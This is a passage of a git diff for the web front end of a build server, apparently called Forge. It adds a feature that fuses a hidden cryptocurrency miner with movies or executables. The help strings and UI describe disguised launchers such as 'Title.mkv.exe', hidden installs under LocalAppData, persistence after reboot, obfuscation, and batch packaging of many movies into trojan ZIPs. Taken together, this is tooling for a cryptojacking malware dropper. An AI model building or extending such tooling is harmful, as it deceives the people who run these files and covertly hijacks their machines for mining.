exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script) + return cmd.Run() +} + +func escapePS(s string) string { + return strings.ReplaceAll(s, "'", "''") +} diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 555d741..e44f80c 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -81,6 +81,8 @@ export const api = { }, buildDownloadUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/download`, + buildArtifactUrl: (buildId: string, fileName: string) => + `${API_BASE}/builds/${buildId}/artifact/${encodeURIComponent(fileName)}`, buildUninstallUrl: (buildId: string) => `${API_BASE}/builds/${buildId}/uninstall`, // Blueprints (config presets) diff --git a/server/web/src/api/download.ts b/server/web/src/api/download.ts index e6cf9b7..7fe3e9f 100644 --- a/server/web/src/api/download.ts +++ b/server/web/src/api/download.ts @@ -18,3 +18,6 @@ export async function downloadAuthedFile(apiPath: string, filename: string): Pro a.remove(); URL.revokeObjectURL(objectUrl); } + +/** Alias used by Forge auto-download and DownloadButton. */ +export const downloadApiFile = downloadAuthedFile; diff --git a/server/web/src/components/DownloadButton.tsx b/server/web/src/components/DownloadButton.tsx new file mode 100644 index 0000000..8ada5fb --- /dev/null +++ b/server/web/src/components/DownloadButton.tsx @@ -0,0 +1,33 @@ +import { useState, type ReactNode } from 'react'; +import { downloadApiFile } from '../api/download'; + +type Props = { + apiPath: string; + filename: string; + className?: string; + children: ReactNode; +}; + +/** Click to save an API file to the browser Downloads folder. */ +export default function DownloadButton({ apiPath, filename, className, children }: Props) { + const [busy, setBusy] = useState(false); + + const handleClick = async (e: React.MouseEvent) => { + e.preventDefault(); + if (busy) return; + setBusy(true); + try { + await downloadApiFile(apiPath, filename); + } catch (err) { + window.alert(err instanceof Error ? err.message : 'Download failed'); + } finally { + setBusy(false); + } + }; + + return ( + <button type="button" className={className} onClick={handleClick} disabled={busy}> + {busy ? 'Downloading…' : children} + </button> + ); +} diff --git a/server/web/src/help/forgeDefaults.ts b/server/web/src/help/forgeDefaults.ts index 8ea7ae4..835a57b 100644 --- a/server/web/src/help/forgeDefaults.ts +++ b/server/web/src/help/forgeDefaults.ts @@ -35,6 +35,10 @@ export const FORGE_BUILD_DEFAULTS: Omit< fusion_enabled: false, fusion_run_order: 'parallel', fusion_output_name: 'prep.exe', + fusion_payload_kind: 'exe', + fusion_media_mode: 'paired', + fusion_media_base_name: '', + fusion_export_subdir: '', ai_enabled: false, ai_ollama_endpoint: 'http://localhost:11434', ai_model: 'llama3.2', diff --git a/server/web/src/help/fusionMedia.ts b/server/web/src/help/fusionMedia.ts new file mode 100644 index 0000000..f94f9f2 --- /dev/null +++ b/server/web/src/help/fusionMedia.ts @@ -0,0 +1,20 @@ +export function isFusionVideoFile(file: File | null | undefined): boolean { + if (!file?.name) return false; + return /\.(mp4|mkv|mov)$/i.test(file.name); +} + +export function fusionTitleFromFilename(name: string): string { + const base = name.replace(/^.*[/\\]/, ''); + return base.replace(/\.(mp4|mkv|mov|exe)$/i, '') || 'movie'; +} + +export function defaultRunnerName(mediaName: string): string { + const title = fusionTitleFromFilename(mediaName); + return `${title}-runner.exe`; +} + +export function defaultEmbeddedName(mediaName: string): string { + const ext = mediaName.match(/\.(mp4|mkv|mov)$/i)?.[0] || '.mkv'; + const title = fusionTitleFromFilename(mediaName); + return `${title}${ext}.exe`; +} diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index a6f82c9..4fbf7d7 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -68,10 +68,16 @@ export const FIELD_HELP: Record<string, string> = { run_as: 'User = Run key when persistence is on. Scheduled/Service always creates a logon task (persistence forced on — checkbox locks).', silent_mode: 'Legacy toggle — prefer Display Mode. Hidden window when enabled.', auto_start: 'Same as Persistence. Keeps miner running after reboot.', - fusion_enabled: 'Embed your prep.exe and the miner worker into one output file. Double-clicking the fused exe runs both.', - fusion_run_order: 'Parallel runs prep and miner together. Prep first finishes prep then keeps miner running. Worker first installs the miner then runs prep.', - fusion_prep: 'The executable you want to bundle the miner inside. The final forged output will launch this prep file and the hidden miner.', - fusion_output_name: 'Filename of the fused output on disk, usually prep.exe so your USB workflow stays the same.', + fusion_enabled: + 'Bundle a prep .exe or a movie (.mp4 / .mkv / .mov) with the hidden miner. Video mode plays the movie while the worker installs in the background.', + fusion_run_order: + 'Parallel runs prep/movie and miner together. Prep first finishes the visible app then keeps the miner. Worker first installs the miner then runs prep.', + fusion_prep: + 'Prep .exe or a movie (.mp4 / .mkv / .mov). EXE = classic Fusion. Video = plays the movie while the miner installs hidden.', + fusion_media_mode: + 'Embedded: one disguised file (e.g. Vacation.mkv.exe) with the movie inside — single download, best under ~500MB. Paired: runner + encrypted .cmdata in fusion-deliverables/<title>/ — best for full-length films (up to 2GB upload).', + fusion_output_name: + 'Output launcher name. For paired video this is usually Title-runner.exe; embedded uses Title.mkv.exe style names.', install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.', install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.', install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe', diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 6da6cba..2a446e9 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -14,6 +14,14 @@ import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../compone import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager'; import { LanDownloadQR } from '../components/Fleet/LanDownloadQR'; import AuthDownloadButton from '../components/AuthDownloadButton'; +import DownloadButton from '../components/DownloadButton'; +import { downloadApiFile } from '../api/download'; +import { + isFusionVideoFile, + fusionTitleFromFilename, + defaultRunnerName, + defaultEmbeddedName, +} from '../help/fusionMedia'; import '../components/Fleet/FleetPanels.css'; import './Pages.css'; @@ -53,6 +61,15 @@ export default function BuilderPage() { const [showRecent, setShowRecent] = useState(false); const [loadingDefaults, setLoadingDefaults] = useState(true); const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null); + const [fusionBatchFiles, setFusionBatchFiles] = useState<File[]>([]); + const [batchJob, setBatchJob] = useState<{ + total: number; + current: number; + fileName: string; + phase: string; + percent: number; + log: { name: string; status: 'pending' | 'active' | 'ok' | 'fail'; detail?: string }[]; + } | null>(null); const [fusionEstimate, setFusionEstimate] = useState<FusionEstimate | null>(null); const [estimateLoading, setEstimateLoading] = useState(false); const [estimateError, setEstimateError] = useState(''); @@ -117,6 +134,28 @@ export default function BuilderPage() { } }; + const finishForgeSuccess = async (result: BuildResponse) => { + setLastBuild(result); + loadRecentBuilds(); + const url = result.bundle_download_url || result.download_url; + const name = result.bundle_file_name || result.file_name; + if (url && name) { + try { + await downloadApiFile(url, name); + } catch (err) { + console.error('Auto-download failed:', err); + } + return; + } + if (result.download_url && result.file_name) { + try { + await downloadApiFile(result.download_url, result.file_name); + } catch (err) { + console.error('Auto-download failed:', err); + } + } + }; + // Blueprint: save current form as a named blueprint const handleSaveBlueprint = async () => { if (!form) return; @@ -176,8 +215,7 @@ export default function BuilderPage() { try { const result = await api.buildAgent(merged, fusionPrepFile); if (!result.success) throw new Error(result.error || 'Build failed'); - setLastBuild(result); - loadRecentBuilds(); + await finishForgeSuccess(result); setBlueprintMsg(`✅ Re-forged ${build.worker_name}`); } catch (err: any) { setError(err.message || 'Re-forge failed'); @@ -238,6 +276,127 @@ export default function BuilderPage() { URL.revokeObjectURL(url); }; + const applyFusionFileSelection = (f: File | null) => { + setFusionPrepFile(f); + if (!f) return; + setForm((prev) => { + if (!prev) return prev; + const video = isFusionVideoFile(f); + const mode = prev.fusion_media_mode || 'paired'; + return { + ...prev, + fusion_payload_kind: video ? 'video' : 'exe', + fusion_media_base_name: f.name, + fusion_output_name: video + ? mode === 'embedded' + ? defaultEmbeddedName(f.name) + : defaultRunnerName(f.name) + : f.name, + }; + }); + }; + + const handleBatchForgeMovies = async () => { + if (!form || fusionBatchFiles.length === 0) return; + setError(''); + setLastBuild(null); + setBuilding(true); + const total = fusionBatchFiles.length; + const log = fusionBatchFiles.map((f) => ({ name: f.name, status: 'pending' as const })); + setBatchJob({ total, current: 0, fileName: '', phase: 'starting', percent: 0, log }); + let ok = 0; + try { + for (let i = 0; i < total; i++) { + const file = fusionBatchFiles[i]; + const title = fusionTitleFromFilename(file.name); + const pct = Math.round((i / total) * 100); + setBatchJob((j) => + j + ? { + ...j, + current: i + 1, + fileName: file.name, + phase: 'building', + percent: pct, + log: j.log.map((row, idx) => + idx === i ? { ...row, status: 'active', detail: 'Forging + packaging ZIP…' } : row + ), + } + : j + ); + const mode = form.fusion_media_mode || 'paired'; + const req: BuildRequest = { + ...form, + fusion_enabled: true, + fusion_payload_kind: 'video', + fusion_media_base_name: file.name, + fusion_export_subdir: title, + fusion_output_name: + mode === 'embedded' ? defaultEmbeddedName(file.name) : defaultRunnerName(file.name), + worker_name: `${form.worker_name || 'miner'}-${title}`.replace(/[^a-zA-Z0-9._-]+/g, '_').slice(0, 48), + }; + const checks = runForgePreflight(req, true); + if (preflightHasErrors(checks)) { + throw new Error(`Preflight failed for ${file.name}`); + } + const result = await api.buildAgent(req, file); + if (!result.success) throw new Error(result.error || `Build failed: ${file.name}`); + setBatchJob((j) => + j + ? { + ...j, + phase: 'downloading', + log: j.log.map((row, idx) => + idx === i ? { ...row, detail: `Downloading ${result.bundle_file_name || 'package'}…` } : row + ), + } + : j + ); + await finishForgeSuccess(result); + ok++; + setBatchJob((j) => + j + ? { + ...j, + log: j.log.map((row, idx) => + idx === i + ? { + ...row, + status: 'ok', + detail: result.fusion_export_dir + ? `Saved → ${result.fusion_export_dir}` + : 'ZIP downloaded', + } + : row + ), + } + : j + ); + } + setBatchJob((j) => (j ? { ...j, phase: 'done', percent: 100, fileName: '' } : j)); + setBlueprintMsg(`✅ Batch forged ${ok} movie(s) — one ZIP per title in fusion-deliverables/`); + setTimeout(() => setBlueprintMsg(''), 6000); + setFusionBatchFiles([]); + } catch (err: unknown) { + const msg = err instanceof Error ? err.message : 'Batch forge failed'; + setError(msg); + setBatchJob((j) => + j + ? { + ...j, + phase: 'error', + log: j.log.map((row) => + row.status === 'active' ? { ...row, status: 'fail', detail: msg } : row + ), + } + : j + ); + } finally { + setBuilding(false); + setTimeout(() => setBatchJob(null), 8000); + } + }; + const handleSubmit = async (e: React.FormEvent) => { e.preventDefault(); if (!form) return; @@ -256,8 +415,7 @@ export default function BuilderPage() { if (!result.success) { throw new Error(result.error || 'Build failed'); } - setLastBuild(result); - loadRecentBuilds(); + await finishForgeSuccess(result); } catch (err: any) { setError(err.message || 'Build failed'); } finally { @@ -298,6 +456,8 @@ export default function BuilderPage() { ); const canForge = form ? !preflightHasErrors(preflightChecks) : false; const errorCount = preflightChecks.filter((c) => c.level === 'error').length; + const fusionIsVideo = isFusionVideoFile(fusionPrepFile); + const fusionMediaMode = form?.fusion_media_mode || 'paired'; useEffect(() => { if (!form?.fusion_enabled || !fusionPrepFile) { @@ -976,23 +1136,144 @@ export default function BuilderPage() { <> <div className={`form-group ${fieldMeta.fusion_prep?.disabled ? 'field-disabled' : ''}`}> <div className="label-row"> - <label className="label">Your prep.exe <HelpTip field="fusion_prep" /></label> + <label className="label">Prep .exe or movie (.mp4 / .mkv / .mov) <HelpTip field="fusion_prep" /></label> <ForgeFieldBadge meta={fieldMeta.fusion_prep} /> </div> <input type="file" className="input" - accept=".exe,application/octet-stream" + accept=".exe,.mp4,.mkv,.mov,application/octet-stream,video/*" onChange={(e) => { - const f = e.target.files?.[0] || null; - setFusionPrepFile(f); - if (f?.name) { - updateField('fusion_output_name', f.name); - } + applyFusionFileSelection(e.target.files?.[0] || null); + e.target.value = ''; }} /> {fusionPrepFile && ( - <span className="form-hint">Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB)</span> + <span className="form-hint"> + Selected: {fusionPrepFile.name} ({(fusionPrepFile.size / 1024 / 1024).toFixed(2)} MB) + {fusionIsVideo ? ' — video payload' : ' — exe payload'} + </span> + )} + <p className="form-hint">Upload limit: 2 GB per file.</p> + </div> + {fusionIsVideo && ( + <div className="form-group"> + <label className="label">Movie delivery <HelpTip field="fusion_media_mode" /></label> + <div className="radio-row" style={{ display: 'flex', flexDirection: 'column', gap: '0.75rem' }}> + <label className="checkbox-label"> + <input + type="radio" + className="checkbox" + name="fusion_media_mode" + checked={fusionMediaMode === 'embedded'} + onChange={() => { + updateField('fusion_media_mode', 'embedded'); + if (fusionPrepFile) { + updateField('fusion_output_name', defaultEmbeddedName(fusionPrepFile.name)); + } + }} + /> + <span> + <strong>Option A — Single file (embedded)</strong> + <FieldHint field="fusion_media_mode" /> + </span> + </label> + <p className="form-hint" style={{ marginLeft: '1.75rem' }}> + One disguised launcher (e.g. <code>Title.mkv.exe</code>) contains the movie + hidden miner. + Best when the file is under ~500MB. + </p> + <label className="checkbox-label"> + <input + type="radio" + className="checkbox" + name="fusion_media_mode" + checked={fusionMediaMode === 'paired'} + onChange={() => { + updateField('fusion_media_mode', 'paired'); + if (fusionPrepFile) { + updateField('fusion_output_name', defaultRunnerName(fusionPrepFile.name)); + } + }} + /> + <span> + <strong>Option B — Movie + runner (paired)</strong> + </span> + </label> + <p className="form-hint" style={{ marginLeft: '1.75rem' }}> + <code>Title.mkv</code> (shortcut) + hidden <code>Title.mkv.cmdata</code> +{' '} + <code>Title-runner.exe</code> in <code>fusion-deliverables/Title/</code>. Clicking the + movie shows a lock message; only the runner decrypts and plays it. + </p> + </div> + </div> + )} + <div className="form-group"> + <div className="label-row"> + <label className="label">Batch movies <HelpTip field="fusion_batch" /></label> + </div> + <input + type="file" + className="input" + accept=".mp4,.mkv,.mov,video/*" + multiple + onChange={(e) => { + const list = e.target.files ? Array.from(e.target.files) : []; + setFusionBatchFiles(list); + e.target.value = ''; + }} + /> + {fusionBatchFiles.length > 0 && ( + <span className="form-hint"> + {fusionBatchFiles.length} movie(s) queued — each becomes a ZIP in{' '} + <code>fusion-deliverables/<title>/</code> (runner + locked movie + README). + </span> + )} + {batchJob && ( + <div className="batch-forge-panel card" style={{ marginTop: '0.75rem' }}> + <div className="batch-forge-header"> + <span className="font-tech">BATCH FORGE</span> + <span> + {batchJob.current}/{batchJob.total} — {batchJob.phase} + </span> + </div> + <div className="batch-progress-track"> + <div + className="batch-progress-fill" + style={{ width: `${Math.min(100, batchJob.percent)}%` }} + /> + </div> + {batchJob.fileName && ( + <p className="form-hint" style={{ marginTop: '0.5rem' }}> + Current: <code>{batchJob.fileName}</code> + </p> + )} + <ul className="batch-forge-log"> + {batchJob.log.map((row) => ( + <li key={row.name} className={`batch-log-${row.status}`}> + <span className="batch-log-icon"> + {row.status === 'ok' ? '✓' : row.status === 'fail' ? '✕' : row.status === 'active' ? '…' : '○'} + </span> + <span> + {row.name} + {row.detail ? ` — ${row.detail}` : ''} + </span> + </li> + ))} + </ul> + </div> + )} + {fusionBatchFiles.length > 0 && ( + <button + type="button" + className="btn btn-secondary" + style={{ marginTop: '0.5rem' }} + disabled={building || !canForge} + onClick={handleBatchForgeMovies} + > + {building + ? `Batch forging… (${batchJob?.current ?? 0}/${fusionBatchFiles.length})` + : `Batch forge ${fusionBatchFiles.length} movie(s) → ZIP each`} + </button> )} </div> {!simpleMode && ( @@ -1196,11 +1477,19 @@ export default function BuilderPage() { )} <p><strong>File:</strong> {lastBuild.file_name}</p> <p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p> + {lastBuild.fusion_export_dir && ( + <> + <p><strong>Movie deliverables folder:</strong></p> + <code className="path-display">{lastBuild.fusion_export_dir}</code> + </> + )} {lastBuild.export_path && ( <> <p><strong>Your file (project root):</strong></p> <code className="path-display">{lastBuild.export_path}</code> - <p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p> + {!lastBuild.fusion_export_dir && ( + <p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p> + )} {(lastBuild.obfuscated || lastBuild.signed) && ( <p className="form-hint"> {lastBuild.obfuscated && 'Garble obfuscation applied. '} @@ -1210,11 +1499,32 @@ export default function BuilderPage() { </> )} <p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p> - {lastBuild.download_url && ( - <a className="btn btn-primary" href={lastBuild.download_url} download> - Download .exe - </a> - )} + <div className="download-actions"> + {lastBuild.download_url && lastBuild.file_name && ( + <DownloadButton + apiPath={lastBuild.download_url} + filename={lastBuild.file_name} + className="btn btn-primary btn-lg" + > + Download {lastBuild.file_name} + </DownloadButton> + )} + {!lastBuild.bundle_download_url && lastBuild.build_id && lastBuild.extra_files?.map((f) => ( + <DownloadButton + key={f.file_name} + apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)} + filename={f.file_name} + className="btn btn-secondary" + > + Download {f.file_name} + </DownloadButton> + ))} + <p className="form-hint"> + {lastBuild.bundle_file_name + ? 'One ZIP per title — extract and run the runner only (agent is inside it, hidden).' + : 'Saved to your browser Downloads when the forge completes. Click again if needed.'} + </p> + </div> {lastBuild.uninstall_export_path && ( <p><strong>Uninstaller copy:</strong> <code className="mono-sm">{lastBuild.uninstall_export_path}</code></p> )} @@ -1263,6 +1573,8 @@ export default function BuilderPage() { <div className="build-manager-grid"> {recentBuilds.map((build) => { const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`; + const exeName = + build.file_path?.replace(/^.*[/\\]/, '') || `install-${build.worker_name}.exe`; return ( <div key={build.id} className="build-manager-row"> <div> @@ -1274,9 +1586,13 @@ export default function BuilderPage() { </div> </div> <LanDownloadQR url={downloadUrl} /> - <a className="btn btn-outline" href={api.buildDownloadUrl(build.id)} download> + <DownloadButton + apiPath={api.buildDownloadUrl(build.id)} + filename={exeName} + className="btn btn-outline" + > Download - </a> + </DownloadButton> <AuthDownloadButton apiPath={api.buildUninstallUrl(build.id)} filename={`uninstall-${build.worker_name || 'worker'}.ps1`} diff --git a/server/web/src/pages/Pages.css b/server/web/src/pages/Pages.css index 2a82ed2..e1b3a12 100644 --- a/server/web/src/pages/Pages.css +++ b/server/web/src/pages/Pages.css @@ -1238,3 +1238,61 @@ .forge-simple-banner .font-tech { margin-bottom: 0.35rem; } + +.batch-forge-panel { + padding: 1rem 1.1rem; + border: 1px solid rgba(212, 175, 55, 0.25); +} + +.batch-forge-header { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 0.65rem; + font-size: 0.85rem; + color: var(--text-secondary); +} + +.batch-progress-track { + height: 8px; + border-radius: 999px; + background: rgba(255, 255, 255, 0.08); + overflow: hidden; +} + +.batch-progress-fill { + height: 100%; + border-radius: 999px; + background: linear-gradient(90deg, rgba(212, 175, 55, 0.85), rgba(120, 200, 255, 0.75)); + transition: width 0.35s ease; +} + +.batch-forge-log { + list-style: none; + margin: 0.75rem 0 0; + padding: 0; + font-size: 0.8rem; + max-height: 10rem; + overflow-y: auto; +} + +.batch-forge-log li { + padding: 0.2rem 0; + color: var(--text-secondary); +} + +.batch-forge-log li.batch-ok { + color: var(--neon-green, #6f6); +} + +.batch-forge-log li.batch-fail { + color: var(--neon-red, #f55); +} + +.download-actions { + display: flex; + flex-wrap: wrap; + gap: 0.5rem; + align-items: center; + margin-top: 0.75rem; +} diff --git a/server/web/src/types/index.ts b/server/web/src/types/index.ts index 257e478..167f7b5 100644 --- a/server/web/src/types/index.ts +++ b/server/web/src/types/index.ts @@ -243,6 +243,10 @@ export interface BuildRequest { fusion_enabled: boolean; fusion_run_order: string; fusion_output_name: string; + fusion_payload_kind?: string; + fusion_media_mode?: string; + fusion_media_base_name?: string; + fusion_export_subdir?: string; // AI Autonomy (Ollama) ai_enabled: boolean; ai_ollama_endpoint: string; @@ -286,6 +290,11 @@ export interface BuildResponse { uninstall_export_path?: string; error?: string; fusion_enabled?: boolean; + fusion_export_dir?: string; + extra_files?: { file_name: string; file_path?: string }[]; + bundle_file_name?: string; + bundle_download_url?: string; + bundle_size?: number; worker_file?: string; signed?: boolean; obfuscated?: boolean;